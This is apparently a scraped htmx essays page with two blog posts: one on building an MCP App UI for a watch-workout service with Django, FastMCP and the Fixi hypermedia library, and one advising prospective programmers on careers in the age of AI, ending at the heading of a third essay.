</> htmx - high power tools for html - Essays

Hypermedia Friendly Model Context Protocol App Architecture

2026-03-18T00:00:00+00:00

I am working on speedystride.com</a>, a programming tool that helps athletes quickly input workouts on their Apple and Garmin watches.

These watches come with a built-in workout programming feature that is especially useful for structured programs. For example, runners will often do interval training, which could be something like 5x1000m with 2 minute rest.

And sometimes they’ll want to do a fartlek (Swedish for ‘Speed Play’) where they will vary their speed: run 400 meters fast - run 800 meters slower - sprint 200 meters. These smartwatches will vibrate and beep to help the user perform at the desired target, and also count down rest periods so the user is rested enough for that next hard interval.

Unfortunately, I did not like any of the first party workout builders. These are form-based, with a drag-and-drop interface to structure your workouts. I think these builders have a high user friction; more user inputs are required in proportion to the output. Additionally, these builders run on a small watch screen</a>, or require a separate app. This is less than ideal when you are trying to program your watch right before a track workout. There are third party tools in this space, but as far as I can tell, they do not fundamentally break this pattern.

I also wanted to share these workouts with everyone at my city’s track club. My service provides a scheduler that pushes workouts automatically at a specified time for our club training; about 90% of our members have either an Apple Watch or a Garmin so cross-platform compatibility is a very important factor.

To solve these problems, I came up with a very simple domain specific language (DSL) for both people and machines. It can describe exercises, define rest times, and combine everything together into repeat intervals. I implemented a simple recursive descent parser, and it outputs data formats for both Apple and Garmin devices. By defining a small language, I was able to avoid implementing complex forms unlike the current offerings. User input is reduced to plain text.

Example workout DSL</a></h3>

User:

10x200m max effort with 2 minute rest
</span></code></pre>
DSL:</p>
Repeat 10 times:
</span>- Run 200m @RPE 10
</span>- Rest 2 minutes
</span></code></pre>
I had initially wanted coaches to learn this DSL and enter programs into my website assisted by a Codemirror editor.
I incorrectly thought that it was close enough to English for people to quickly learn it when assisted by autocomplete
features.
I was not meeting my users where they were at; graybeard track coaches had zero interest in learning how to program.
What I needed
was a translator that could convert natural English into my DSL.</p>
Model Context Protocol (MCP) and MCP Apps</a></h2>
As I started sharing my project with other people, large language models were becoming popular, and it was an obvious
tool to translate natural English workouts into my training DSL.
By integrating LLMs, I can massively reduce user friction. There are no forms with complex UIs to implement. There is no
DSL to learn as the AI can translate natural
language for you. Users can now express their workouts in their own way.</p>
An AI can transform the above user input to this Domain Specific Language with a relatively small language
specification. There was also a nice side effect of being very token efficient.
JSON payloads defining a repeated workout set can get quite large while my DSL can stay compact.
Any errors can be corrected as my parser can provide rich feedback on what went wrong. I have found that 95% of interval
workouts I see can be expressed through my language.</p>
LLMs also enable new capabilities, such as programming your watch from a photo of a whiteboard.
Even more importantly, Model Context Protocol (MCP) was starting to gain traction. MCPs are a way for LLM systems to
interact with the real world, which means that besides
just outputting workout programs, the LLM can call a remote function to actually send that workout to your device.</p>
Anthropic and OpenAI both support MCP. So it would be awesome for my business to support LLM integrations since so many
users already have Claude and ChatGPT installed on their phone.</p>
Still, there were opportunities to further improve user experience.</p>
I had mentioned earlier that my track club uses speedystride.com to program members’ watches. In order to do so, we have
to define a few parameters:</p>

What is the workout?</li>
Should the workout be added to my Monday night track intervals, or for Tuesday fartleks?</li>
</ul>
LLMs can help massively with the first question. But how about the second? Much of the current human-to-LLM interaction
is text-based, and MCPs are no exception.
Besides improving workout building UX, AI tools introduced new frictions. To associate a workout with an event, I had an
events tool that would fetch upcoming events for the user and add them
to the LLM context. Then it was up to the LLM to guide the user. Some systems like Claude do provide simple select
controls if your tools output JSON objects that look like a set of choices.
However, this interaction forces the developer to surrender control of the happy path, which often leaves users
confused. Also, the AI would sometimes try to be too helpful and just guess the tool inputs.
In summary, back and forth conversation with the LLM is not an ideal UX as the users have to figure out how to guide the
AI to the right inputs.</p>
A form with a selector interface is an obvious way to solve this problem.</p>
Luckily for me, the new MCP Apps specification was released in January 2026. This is an extension to the MCP
specification
that allows rendering custom UI inside an <iframe></code> of the MCP Host.</p>
References:</p>

MCP</a></li>
MCP Apps</a></li>
</ul>
MCP App Architecture</a></h3>
You need to host an MCP server that can communicate with the AI systems.</p>
Communication model:</a></h4>
MCP Server <-Proxied Request-> LLM Host (Claude or ChatGPT) <-App Bridge-> MCP App UI (rendered inside LLM <iframe>)
</span></code></pre>
All traffic between the MCP App UI and the LLM host must be routed through the App Bridge. The LLM host will then make
proxied requests to my MCP server.</p>
Interactive Hypermedia UIs in MCP Apps</a></h3>
Let’s say that we are developing a simple workout scheduler, where we have the LLM generated workout program. Our goal
is to
associate this workout with a calendar event occurrence.
A user could have multiple events on her calendar, so a dynamic choice of occurrences should be available for each event
she is subscribed to.
On a traditional website, this could be trivially handled by a full page refresh.</p>
On MCP App systems without interactivity, we would have to ask the LLM to fully render the MCP App
in the chat. This adds friction and unnecessarily consumes tokens. So we must find a path to interactivity within the
same UI context.</p>
There are existing UI toolkits, such as MCP-UI</a> that works really well with React. However, using
React for a simple <form></code> felt too complex, so I wanted a hypermedia solution.</p>
I initially considered using HTMX, since my HTTP site uses it already. The challenge was that HTMX is heavily geared
towards processing HTTP requests.
Since my MCP App UI renders inside an <iframe></code>, I don’t need to push URLs or manage history.</p>
Then I remembered Fixi</a> library from the creator of HTMX. It is a minimal
version of generalized hypermedia controls. Fixi proved to be very useful precisely because it doesn’t do much.
In addition to lacking history or URL push features, I can also copy & paste Fixi to my project to skip build steps. I
also don’t have to worry about CSP configuration if my Fixi code is served with my HTML.</p>
The killer feature of Fixi is its hackability</a>.
Because it expects a Response compatible object (or a Promise) rather than a strict network request, we can entirely
bypass HTTP.
I can configure Fixi to call app.callServerTool</code> when it sees any fx-action</code> that starts with tool:</code>. If I use a
<form></code>, its inputs will become the function args.</p>
Let’s examine how to architect MCP features to serve hypermedia.</p>
MCP App Lifecycle</a></h4>
From MCP docs</a>:</p>

Create: Instantiate App with info and capabilities</li>
Connect: Call connect()</code> to establish transport and perform handshake</li>
Interactive: Send requests, receive notifications, call tools</li>
Cleanup: Host sends teardown request before unmounting</li>
</ol>
We will focus on items 2 and 3 to demonstrate a hypermedia driven MCP App.</p>
The MCP Server</a></h4>
MCP Server Architecture</a></h5>
I host my server on a Gunicorn + Uvicorn monolith. ASGI Django handles regular HTTP traffic, and MCP traffic is routed
to
FastMCP. Since both Django and FastMCP work together, I can share resources between the HTTP and MCP domains including
ORM and template rendering.</p>
The LLM host will render a UI by calling an MCP tool</strong> and its associated resource</strong>.</p>
A tool</strong> is similar to a view- it is a function that can return JSON or hypertext. Let’s say that our UI tool is
called show_user_ui</code>.</p>
A resource</strong> is a bit like a pointer to assets. LLM hosts can preload resources to deliver them more quickly to users.</p>
Tools and resources are registered by @mcp.tool</code> or @mcp.resource</code> decorators. You could think of registration as
defining urls.py</code> in Django.</p>
Since our Django and FastMCP Applications live on the same server, we can render HTML with Django’s render_to_string</code>
function with ORMs and templatetags.
Django 6’s
new built-in template partials</a> also
make
template organization and partial rendering easy. This allows us to co-locate our initial UI render and our dynamic
hypermedia fragments in a single file, keeping the MCP tool logic incredibly clean.</p>
After lifecycle item 2: The initial MCP App render</a></h5>
Let’s talk about the resource</strong> first. It points to a HTML where our Fixi and MCP App Bridge code will be placed.</p>
from </span>django.template.loader </span>import </span>render_to_string
</span>
</span>
</span>@mcp.</span>resource</span>(
</span>    </span>"ui://user_ui_resource.html"</span>,
</span>    </span>mime_type</span>=</span>"text/html;profile=mcp-app"</span>,
</span>    </span>description</span>=</span>"User UI resource"</span>,
</span>)
</span>async def </span>user_ui_resource</span>():
</span>    </span>return </span>render_to_string</span>(</span>"mcp/user_ui_resource.html"</span>)
</span></code></pre>
This resource serves HTML rendered with render_to_string</code> to resolve static files and template tags, but not any
user-specific data.</p>
mcp/user_ui_resource.html</p>

</span><</span>html</span>>
</span><</span>head</span>>
</span>    {% include "fixi, app bridge source code, styles, etc" %}
</span>
</span>    <</span>style</span>>
</span>        </span>/* CSS indicator classes to toggle visibility during requests */
</span>        </span>#indicator </span>{
</span>            display: none;
</span>        }
</span>
</span>        </span>#indicator.fixi-request-in-flight </span>{
</span>            display: inline-block;
</span>        }
</span>    </</span>style</span>>
</span>
</span>    <</span>script </span>type</span>=</span>"module"</span>>
</span>        ...
</span>        </span>MCP
</span>        </span>App
</span>        </span>bridge
</span>        </span>setup
</span>        ...
</span>
</span>        </span>// 1. Configure Fixi to route `tool:` fx-actions through MCP App bridge
</span>        document.</span>addEventListener</span>(</span>"fx:config"</span>, (evt) </span>=> </span>{
</span>            </span>const </span>action </span>= </span>evt</span>.detail.cfg.action;
</span>            </span>if </span>(</span>action</span>.</span>startsWith</span>(</span>"tool:"</span>)) {
</span>                </span>const </span>toolName </span>= </span>action</span>.</span>replace</span>(</span>"tool:"</span>, </span>""</span>);
</span>                console.</span>log</span>(</span>`callServerTool: </span>${</span>toolName</span>}</span>`</span>);
</span>                </span>const </span>args </span>= </span>Object</span>.</span>fromEntries</span>(</span>evt</span>.detail.cfg.body ?? []);
</span>                </span>evt</span>.</span>detail</span>.</span>cfg</span>.</span>fetch </span>= </span>async </span>() </span>=> </span>{
</span>                    </span>const </span>result </span>= </span>await </span>app</span>.</span>callServerTool</span>({name: </span>toolName</span>, arguments: </span>args</span>});
</span>                    </span>return </span>{</span>text</span>: </span>async </span>() </span>=> </span>result</span>.structuredContent?.html};
</span>                };
</span>            }
</span>        });
</span>
</span>        </span>// 2. Set up request indicator extension: ext-fx-indicator
</span>        document.</span>addEventListener</span>(</span>"fx:init"</span>, (evt) </span>=> </span>{
</span>            </span>if </span>(</span>evt</span>.target.</span>matches</span>(</span>"[ext-fx-indicator]"</span>)) {
</span>                </span>let </span>disableSelector </span>= </span>evt</span>.target.</span>getAttribute</span>(</span>"ext-fx-indicator"</span>)
</span>                </span>evt</span>.target.</span>addEventListener</span>(</span>"fx:before"</span>, () </span>=> </span>{
</span>                    </span>let </span>disableTarget </span>= </span>disableSelector </span>=== </span>"" </span>? </span>evt</span>.target : document.</span>querySelector</span>(</span>disableSelector</span>)
</span>                    </span>disableTarget</span>.classList.</span>add</span>(</span>"fixi-request-in-flight"</span>)
</span>                    </span>evt</span>.target.</span>addEventListener</span>(</span>"fx:after"</span>, (afterEvt) </span>=> </span>{
</span>                        </span>if </span>(</span>afterEvt</span>.target === </span>evt</span>.target) {
</span>                            </span>disableTarget</span>.classList.</span>remove</span>(</span>"fixi-request-in-flight"</span>)
</span>                        }
</span>                    })
</span>                })
</span>            }
</span>        });
</span>
</span>        </span>// 3. Populate UI on initial render with dynamic content fetched with `show_user_ui` tool
</span>        </span>app</span>.</span>ontoolresult </span>= (params) </span>=> </span>{
</span>            document.body.innerHTML = </span>params</span>.structuredContent?.html ?? document.body.innerHTML;
</span>        };
</span>    </</span>script</span>>
</span></</span>head</span>>
</span>
</span>{# Empty body, since `app.ontoolresult` will populate it on load #}
</span><</span>body</span>></</span>body</span>>
</span>
</span>{% partialdef save-form-fragment %}
</span><</span>div </span>id</span>=</span>"save-form-fragment"</span>>
</span>    Workout {{ workout.id }} has been saved for {{ workout.occurrence.event.id }} on {{ workout.occurrence.start_date
</span>    }}.
</span></</span>div</span>>
</span>{% endpartialdef %}
</span>
</span>{% partialdef main-contents %}
</span><</span>div </span>id</span>=</span>"main-contents"</span>>
</span>    <</span>form</span>>
</span>        <</span>input </span>name</span>=</span>"workout_dsl" </span>type</span>=</span>"hidden" </span>value</span>=</span>"{{workout_dsl}}"</span>>
</span>
</span>        <</span>select
</span>                </span>id</span>=</span>"event-selector"
</span>                </span>name</span>=</span>"event_id"
</span>                </span>fx-action</span>=</span>"tool:render_occurrences_fragment"
</span>                </span>fx-target</span>=</span>"#occurrence-fragment"
</span>                </span>fx-swap</span>=</span>"outerHTML"
</span>        >
</span>            <</span>option</span>>-----</</span>option</span>>
</span>            {% for evt in events %}
</span>            <</span>option </span>value</span>=</span>"{{ evt.id }}"</span>>{{ evt.name }}</</span>option</span>>
</span>            {% endfor %}
</span>        </</span>select</span>>
</span>
</span>        {% partialdef occurrence-fragment inline %}
</span>        <</span>select </span>id</span>=</span>"occurrence-fragment" </span>name</span>=</span>"occurrence_id"</span>>
</span>            {% for occ in occurrences %}
</span>            <</span>option </span>value</span>=</span>"{{ occ.id }}"</span>>{{ occ.start_date }}</</span>option</span>>
</span>            {% endfor %}
</span>        </</span>select</span>>
</span>        {% endpartialdef %}
</span>
</span>        <</span>button
</span>                </span>type</span>=</span>"submit"
</span>                </span>fx-action</span>=</span>"tool:save_form_fragment"
</span>                </span>fx-swap</span>=</span>"outerHTML"
</span>                </span>fx-target</span>=</span>"#main-contents"
</span>                </span>ext-fx-indicator
</span>        >
</span>            <</span>span</span>>Save Workout</</span>span</span>>
</span>            <</span>svg </span>id</span>=</span>"indicator"</span>>...</</span>svg</span>>
</span>        </</span>button</span>>
</span>    </</span>form</span>>
</span></</span>div</span>>
</span>{% endpartialdef %}
</span></</span>html</span>>
</span></code></pre>
This HTML resource defines three core pieces of logic within its <script></code> tag:</p>

Event listener for fx:config</code>: We can use fx-action</code> attribute to make MCP tool calls.</li>
Event listener for fx:init</code>: Set up an indicator to show that a tool call is being processed.</li>
Handle app.ontoolresult</code>: Display the main UI with the output by processing CallToolResult</code>.</li>
</ol>
The LLM will load the resource</strong> in the chat, and then call show_user_ui</code> tool</strong>, which renders the main-contents</code>
template partial.</p>
from </span>django.template.loader </span>import </span>render_to_string
</span>
</span>from </span>mcp.server.fastmcp </span>import </span>FastMCP
</span>from </span>mcp.server.fastmcp </span>import </span>Context
</span>from </span>mcp.types </span>import </span>CallToolResult
</span>
</span>from </span>events.models </span>import </span>Events, Occurrences
</span>from </span>workout_validator </span>import </span>validate_program, DSLValidationError
</span>
</span>mcp = </span>FastMCP</span>(</span>...</span>)
</span>
</span>
</span>@mcp.</span>tool</span>(
</span>    </span>name</span>=</span>"show_user_ui"</span>,
</span>    </span>description</span>=</span>"Display UI"</span>,
</span>    </span>meta</span>={</span>"ui/resourceUri"</span>: </span>"ui://user_ui_resource.html"</span>}
</span>)
</span>async def </span>show_user_ui</span>(</span>ctx</span>: Context, </span>workout_dsl</span>: str) -> CallToolResult:
</span>    user = </span>await </span>get_user_from_context</span>(ctx)
</span>
</span>    </span>try</span>:
</span>        validate_workout = </span>validate_program</span>(workout_dsl)
</span>    </span>except </span>DSLValidationError </span>as </span>e:
</span>        </span>...
</span>        handle
</span>        invalid
</span>        workout
</span>        data</span>...
</span>
</span>    initial_events_qs = Events.objects.</span>filter</span>(</span>user</span>=user)
</span>    initial_events = [evt </span>async for </span>evt </span>in </span>initial_events_qs.</span>aiterator</span>()]
</span>
</span>    </span>if </span>len</span>(initial_events) > </span>0</span>:
</span>        initial_occurrences_qs = Occurrences.objects.</span>select_related</span>(</span>"event"</span>).</span>filter</span>(
</span>            </span>event_id</span>=initial_events[</span>0</span>]).</span>order_by</span>(</span>"start_date"</span>)
</span>        initial_occurrences = [occ </span>async for </span>occ </span>in </span>initial_occurrences_qs.</span>aiterator</span>()]
</span>    </span>else</span>:
</span>        initial_occurrences = []
</span>
</span>    template_context = {</span>"user"</span>: user, </span>"workout_dsl"</span>: workout_dsl, </span>"events"</span>: initial_events,
</span>                        </span>"occurrences"</span>: initial_occurrences}
</span>    rendered_html = </span>render_to_string</span>(</span>"mcp/user_ui_resource.html#main-contents"</span>, template_context)
</span>
</span>    </span>return </span>CallToolResult</span>(
</span>        </span>content</span>=[</span>TextContent</span>(</span>type</span>=</span>"text"</span>, </span>text</span>=</span>"UI ready"</span>)],
</span>        </span>structuredContent</span>={</span>"html"</span>: rendered_html}
</span>    )
</span></code></pre>
Args for show_user_ui</code>:</p>

ctx</code>: object will allow us to authenticate our users, and is passed to our tool by the LLM host.</li>
workout_dsl</code>: AI will generate and pass this parameter. We will render our HTML with this data stored in
<input type="hidden"></code> and save it later.</li>
</ul>
Return values from show_user_ui</code>:</p>

content: An array of text or other data to show the User/LLM</li>
structuredContent: Rendered hypertext</li>
</ul>
MCP’s ontoolresult</code> handler will insert structuredContent.html</code> into <body></code> tag to render our initial UI.</p>
Note that this innerHTML</code> assignment is reasonably safe in our context. The only untrusted input here is AI generated
workout_dsl</code>, and we run validation on it before rendering our template.</p>
Lifecycle 3: Rendering Hypermedia Fragments</a></h4>
Now we have a full <form></code> with two <select></code> controls. How do we add interactivity for our event occurrence
selectors?
Every time the user changes #event-selector</code> option, we should update our options shown in #occurrence-fragment</code> with
a new tool.
We need to use template fragments to fetch occurrence options for different events without triggering another UI render.</p>
Let’s first examine how Fixi will trigger a fragment request. Scroll back above and read #event-selector</code> defined in
#main-contents</code>.</p>
We see these Fixi attributes:</p>

fx-action: Calls render_occurrences_fragment</code> MCP tool. Fixi will bind fx-action</code> to appropriate default events,
such as change</code> for <select></code>.</li>
fx-target: Insert render_occurrences_fragment</code> tool’s HTML output in the #occurrence-fragment</code> div</li>
fx-swap: Use outerHTML</code> swap on #occurrence-fragment</code>, which replaces this div instead of inserting contents.</li>
</ul>
Below shows occurrence HTML fragment rendering occurrence-fragment</code> Django template partial. This tool’s output will
replace #occurrence-fragment</code>.</p>
from </span>events.models </span>import </span>Occurrences
</span>
</span>
</span>@mcp.</span>tool</span>(
</span>    </span>name</span>=</span>"render_occurrences_fragment"</span>,
</span>    </span>description</span>=</span>"Fetches event occurrences available to the logged in user"</span>,
</span>    </span>meta</span>={</span>"ui"</span>: {</span>"visibility"</span>: [</span>"app"</span>]}}
</span>)
</span>async def </span>render_occurrences_fragment</span>(</span>ctx</span>: Context, </span>event_id</span>) -> CallToolResult:
</span>    </span>...
</span>    validate
</span>    event_id </span>and </span>authenticate
</span>    user</span>...
</span>
</span>    occurrences_qs = Occurrences.objects.</span>select_related</span>(</span>"event"</span>).</span>filter</span>(
</span>        </span>event_id</span>=event_id
</span>    ).</span>order_by</span>(</span>"start_date"</span>)
</span>    occurrences = [occ </span>async for </span>occ </span>in </span>occurrences_qs.</span>aiterator</span>()]
</span>
</span>    rendered_html = </span>render_to_string</span>(</span>"mcp/user_ui_resource.html#occurrence-fragment"</span>, {</span>"occurrences"</span>: occurrences})
</span>    </span>return </span>CallToolResult</span>(
</span>        </span>text</span>=</span>"Here are this user's event occurrences"</span>,
</span>        </span>structuredContent</span>={</span>"html"</span>: rendered_html}
</span>    )
</span></code></pre>

It does not make sense for LLM to fetch this HTML fragment by itself, so we can set
meta={"ui": {"visibility": ["app"]}}</code> registration parameter to prevent unnecessary tool calling.</p>
</blockquote>
Finally, let’s submit this form. This action is triggered by <button></code>, and all of the <form></code> fields will be sent to
save_form_fragment</code> as function args.</p>
from </span>workouts.models </span>import </span>Workout
</span>from </span>events.models </span>import </span>Events, Occurrences
</span>
</span>
</span>@mcp.</span>tool</span>(
</span>    </span>name</span>=</span>"save_form_fragment"</span>,
</span>    </span>description</span>=</span>"Saves workout"</span>,
</span>    </span>meta</span>={</span>"ui"</span>: {</span>"visibility"</span>: [</span>"app"</span>]}}
</span>)
</span>async def </span>save_form_fragment</span>(</span>ctx</span>: Context, </span>workout_dsl</span>, </span>event_id</span>, </span>occurrence_id</span>) -> CallToolResult:
</span>    </span>...
</span>    validate
</span>    args </span>and </span>authenticate
</span>    user</span>...
</span>    occurrence = </span>await </span>Occurrences.objects.</span>select_related</span>(</span>"event"</span>).</span>aget</span>(</span>id</span>=occurrence_id, </span>event_id</span>=event_id)
</span>    workout = </span>await </span>Workout.objects.</span>acreate</span>(</span>occurrence</span>=occurrence, </span>workout_dsl</span>=workout_dsl)
</span>
</span>    </span># Render the events fragment
</span>    rendered_html = </span>render_to_string</span>(</span>"mcp/user_ui_resource.html#save-form-fragment"</span>, {</span>"workout"</span>: workout})
</span>    </span>return </span>CallToolResult</span>(
</span>        </span>text</span>=</span>"Workout saved"</span>,
</span>        </span>structuredContent</span>={</span>"html"</span>: rendered_html}
</span>    )
</span></code></pre>
The submit indicator is defined by configuring Fixi event fx:init</code> to add .fixi-request-in-flight</code> class to
#indicator</code> SVG inside our submit button if it has ext-fx-indicator</code> attribute.
After this, the interaction cycle is finished. If the user wants to make modifications, she can ask the AI to render a
new UI or visit the website to make quick changes.</p>
Demo</a></h2>
Here is a demo of this application in action:</p>

Conclusion</a></h2>
I hope to have demonstrated a simple way to develop user interfaces that work well with AI.
MCP Apps introduce a new rendering environment, but hypermedia systems continue to work well in this context with some
modifications.</p>
This is worth emphasizing because the current zeitgeist when building with AI is to reach for a client-side framework.
But the constraints of MCP Apps actually push in the opposite direction. Your <iframe></code> cannot talk directly to your
server and every interaction must cross the bridge.
The less state and logic you pack into the client, the less surface area you have for things to go wrong across that
boundary.</p>
Throughout my design process, I tried to channel Nintendo’s Gunpei Yokoi: What can we do with old-fashioned technology
using lateral thinking?
I was able to sidestep complex drag-and-drop form builders by combining a small DSL with AI and hypermedia.
Integrating MCP Apps solved the friction of coaxing the AI to select the right inputs, and using hypermedia made the
entire system almost trivially simple: forms, selectors, fragment updates, loading indicators.
Simplicity does not guarantee success, but I think that it will give me a better fighting chance.</p>
Special thanks to Carson Gross for creating Fixi, HTMX, and Hyperscript, and for encouraging me to write this post.</p>



Yes, and...
2026-02-27T00:00:00+00:00
I teach computer science at Montana State University</a>.  I am the father of three sons who
all know I am a computer programmer and one of whom, at least, has expressed interest in the field.  I love computer
programming and try to communicate that love to my sons, the students in my classes and anyone else who will listen.</p>
A question I am increasingly getting from relatives, friends and students is:</p>

Given AI, should I still consider becoming a computer programmer?</p>
</blockquote>
My response to this is: “Yes, and…”</p>
“Yes”</a></h2>
Computer programming is, fundamentally, about two things:</p>

Problem-solving using computers</li>
Learning to control complexity while solving these problems</li>
</ul>
I have a hard time imagining a future where knowing how to solve problems with computers and how to control the complexity
of those solutions is less</em> valuable than it is today, so I think it will continue to be a viable career even with the
advent of AI tools.</p>
“You have to write the code”</a></h3>
That being said, I view AI as very dangerous for junior programmers because it is</em> able to effectively generate code for
many problems.  If a junior programmer does not learn to write code and simply generates it, they are robbing
themselves of the opportunity to develop the visceral understanding of code that comes with being down in the trenches.</p>
Because of this, I warn my students:</p>
“Yes, AI can generate the code for this assignment. Don’t let it. You have</em> to write the code.”</p>
I explain that, if they don’t write the code, they will not be able to effectively read</em> the code.  The ability to
read code is certainly going to be valuable, maybe more</em> valuable, in an AI-based coding future.</p>
If you can’t read the code you are going to fall into The Sorcerer’s Apprentice Trap</a>,
creating systems you don’t understand and can’t control</a>.</p>
Is Coding → Prompting like Assembly → High Level Coding?</a></h3>
Some people say that the move from high level languages to AI-generated code is like the move from assembly to
high level programming languages</a>.</p>
I do not agree with this simile.</p>
Compilers are, for the most part, deterministic in a way that current AI tools are not.  Given a high-level programming
language construct such as a for loop or if statement, you can, with reasonable certainty, say what the generated
assembly will look like for a given computer architecture (at least pre-optimization).</p>
The same cannot be said for an LLM-based solution to a particular prompt.</p>
High level programming languages are a very good</em> way to create highly specified solutions to problems
using computers with a minimum of text in a way that assembly was not.  They eliminated a lot of
accidental complexity</a>, leaving (assuming the code was written
reasonably well) mostly necessary complexity.</p>
LLM generated code, on the other hand, often does not eliminate accidental complexity and, in fact, can add
significant accidental complexity by choosing inappropriate approaches to problems, taking shortcuts, etc.</p>
If you can’t read the code, how can you tell?</p>
And if you want to read the code you must write the code.</p>
AI is a great TA</a></h3>
Another thing that I tell my students is that AI, used properly, is a tremendously effective TA.  If you don’t use it
as a code-generator but rather as a partner to help you understand concepts and techniques, it can provide a huge boost
to your intellectual development.</p>
One of the most difficult things when learning computer programming is getting “stuck”.  You just don’t see the trick
or know where to even start well enough to make progress.</p>
Even worse is when you get stuck due to accidental complexity: you don’t know how to work with a particular tool chain
or even what a tool chain is.</p>
This isn’t a problem with you</em>, this is a problem with your environment.  Getting stuck pointlessly robs you of time to
actually be learning and often knocks people out of computer science.</p>
(I got stuck trying to learn Unix on my own at Berkeley, which is one reason I dropped out of the computer science
program there.)</p>
AI can help you get past these roadblocks, and can be a great TA if used correctly.  I have posted an
AGENTS.md</a> file that I provide to my students to configure
coding agents to behave like a great TA, rather than a code generator, and I encourage them to use AI in this role.</p>
AI doesn’t have</em> to be a detriment to your ability to grow as a computer programmer, so long as it is used
appropriately.</p>
“, and…”</a></h2>
I do think AI is going to change computer programming.  Not as dramatically as some people think, but in some
fundamental ways.</p>
Raw coding may become less important</a></h3>
It may be that the act</em> of coding will lose relative</em> value.</p>
I regard this as too bad: I usually like the act of coding, it is fun to make something do something with your
(metaphorical) bare hands.  There is an art and satisfaction to writing code well, and lots of aesthetic decisions to be
made doing it.</p>
However, it does appear that raw code writing prowess may be less important in the future.</p>
As this becomes relatively less important, it seems to me that other skills will become more important.</p>
Communication Skills</a></h3>
For example, the ability to write, think and communicate clearly, both with LLMs and humans seems likely to be much more
important in the future.  Many computer programmers have a literary bent anyway, and this is a skill that will likely
increase in value over time and is worth working on.</p>
Reading books and writing essays/blog posts seem like activities likely to help in this regard.</p>
Understanding Business</a></h3>
Another thing you can work on is turning some of your mental energy towards understanding a business (or government
role, etc) better.</p>
Computer programming is about solving problems with computers and businesses have plenty of both of these.</p>
Some business folks look at AI and say “Great, we don’t need programmers!”, but it seems just as plausible to me that
a programmer might say “Great, we don’t need business people!”</p>
I think both of these views are short-sighted, but I do think that AI can give programmers the ability to continue
fundamentally working as a programmer while also</em> investing more time in understanding the real-world problems (business or
otherwise) that they are solving.</p>
This dovetails well with improving communication skills.</p>
“Architecting” Systems</a></h3>
Like many computer programmers, I am ambivalent towards the term “software architect.”  I have seen
architect astronauts</a> inflict
a lot of pain on the world.</p>
For lack of a better term, however, I think software architecture will become a more important skill over time: the
ability to organize large software systems effectively and, crucially, to control the complexity of those systems.</p>
A tough part of this for juniors is that traditionally the ability to architect larger solutions well has come from
experience building smaller parts of systems, first poorly then, over time, more effectively.</p>
Most bad architects I have met were either bad coders or simply didn’t have much coding experience at all.</p>
If you let AI take over as a code generator for the “simple” stuff, how are you going to develop the intuitions necessary
to be an effective architect?</p>
This is why, again, you must write the code.</p>
Using LLMs Effectively</a></h3>
Another skill that seems likely to increase in value (obviously) is knowing how to use LLMs effectively.  I think that
currently we are still in the process of figuring out what that means.</p>
I also think that what this means varies by experience level.</p>
Seniors</a></h4>
Senior programmers who already have a lot of experience from the pre-AI era are in a good spot to use LLMs effectively:
they know what “good” code looks like, they have experience with building larger systems and know what matters and
what doesn’t.  The danger with senior programmers is that they stop programming entirely and start suffering from
brain rot</a>.</p>
Particularly dangerous is firing off prompts and then getting sucked into
The Eternal Scroll</a> while waiting.</p>
Ask me how I know.</p>
I typically try to use LLMs in the following way:</p>

To analyze existing code to better understand it and find issues and inconsistencies in it</li>
To help organize my thoughts for larger projects I want to take on</li>
To generate relatively small bits of code for systems I am working on</li>
To generate code that I don’t enjoy writing (e.g. regular expressions & CSS)</li>
To generate demos/exploratory code that I am willing to throw away or don’t intend to maintain deeply</li>
To suggest tests for a particular feature I am working on</li>
</ul>
I try not to use LLMs to generate full solutions that I am going to need to support.  I will sometimes use LLMs alongside
my manual coding as I build out a solution to help me understand APIs and my options while coding.</p>
I never let LLMs design the APIs to the systems I am building.</p>
Juniors</a></h4>
Juniors are in a tougher spot.  I will say it again: you must write the code.</p>
The temptation to vibe your way through problems is very, very high, but you will need to fight against that temptation.</p>
Peers will</em> be vibing their way through things and that will be annoying: you will need to work harder than they do,
and you may be criticized for being slow.  The work dynamics here are important to understand: if your company
prioritizes speed over understanding (as many are currently) you need to accept that and not get fired.</p>
However, I think that this is a temporary situation and that soon companies are going to realize that vibe coding at
speed suffers from worse complexity explosion issues than well understood, deliberate coding does.</p>
At that point I expect slower, more deliberate coding with AI assistance will be understood as the best way to utilize
this new technology.</p>
Where AI can</em> help juniors is in accelerating the road to senior developer by eliminating accidental complexity that often
trips juniors up.  As I said above, viewing AI as a useful although sometimes overly-eager helper rather than a servant
can be very effective in understanding the shape of code bases, what the APIs and techniques available for a particular
problem are, how a given build system or programming language works, etc.</p>
But you must write the code.</p>
And companies: you must let juniors write the code.</p>
Getting a Job Today</a></h2>
The questions I get around AI and programming fundamentally revolve around getting a decent job.</p>
It is no secret that the programmer job market is bad right now, and I am seeing good CS students struggle to find
positions programming.</p>
While I do not have a crystal ball, I believe this is a temporary rather than permanent situation.  The computer
programmer job market tends to be cyclical with booms and busts, and I believe we will recover from the current bust
at some point.</p>
That’s cold comfort to someone looking for a job now, however, so I want to offer the specific job-seeking advice that
I give to my students.</p>
Family, Friends, Family of Friends</a></h3>
I view the online job sites as mostly pointless, especially for juniors.  They are a lottery and the chances of finding
a good job through them are low.  Since they are free they are probably still worth using, but they are not worth
investing a lot of time in.</p>
A better approach is the four F’s: Family, Friends & Family of Friends.  Use your personal connections to find positions
at companies in which you have a competitive advantage of knowing people in the company.  Family is the strongest
possibility.  Friends are often good too.  Family of friends is weaker, but also worth asking about.  If you know or
are only a few degrees separated from someone at a company you have a much stronger chance of getting a job at that
company.</p>
I stress to many students that this doesn’t mean your family has to work for Google or some other big tech company.</p>
All</em> companies of any significant size have problems that need to be solved using computers.  Almost every company over 100
people has some sort of development group, even if they don’t call it that.</p>
As an example, I had a student who was struggling to find a job.  I asked what their parent did, and they said they worked
for Costco corporate.</p>
I told them that they were in fact extremely lucky and that this was their ticket into a great company.</p>
Maybe they don’t start as a “computer programmer” there, maybe they start as an analyst or some other role.  But the
ability to program on top of that role will be very valuable and likely set up a great career.</p>
Conclusion</a></h2>
So I still think pursuing computer programming as a career is a good idea.  The current job market is bad, no doubt, but
I think this is temporary.</p>
I do think how computer programming is done is changing, and programmers should look at building up skills beyond
“pure” code-writing.  This has always been a good idea.</p>
I don’t think programming is changing as dramatically as some people claim and I think the fundamentals of programming,
particularly writing good code and controlling complexity, will be perennially important.</p>
I hope this essay is useful in answering that question, especially for junior programmers, and helps people feel
more confident entering a career that I have found very rewarding and expect to continue to do for a long time.</p>
And companies: let the juniors write at least some of the code.  It is in your interest.</p>


Building Critical Infrastructure with htmx: Network Automation for the Paris 2024 Olympics
2026-01-16T00:00:00+00:00
A Bit of Background</a></h2>
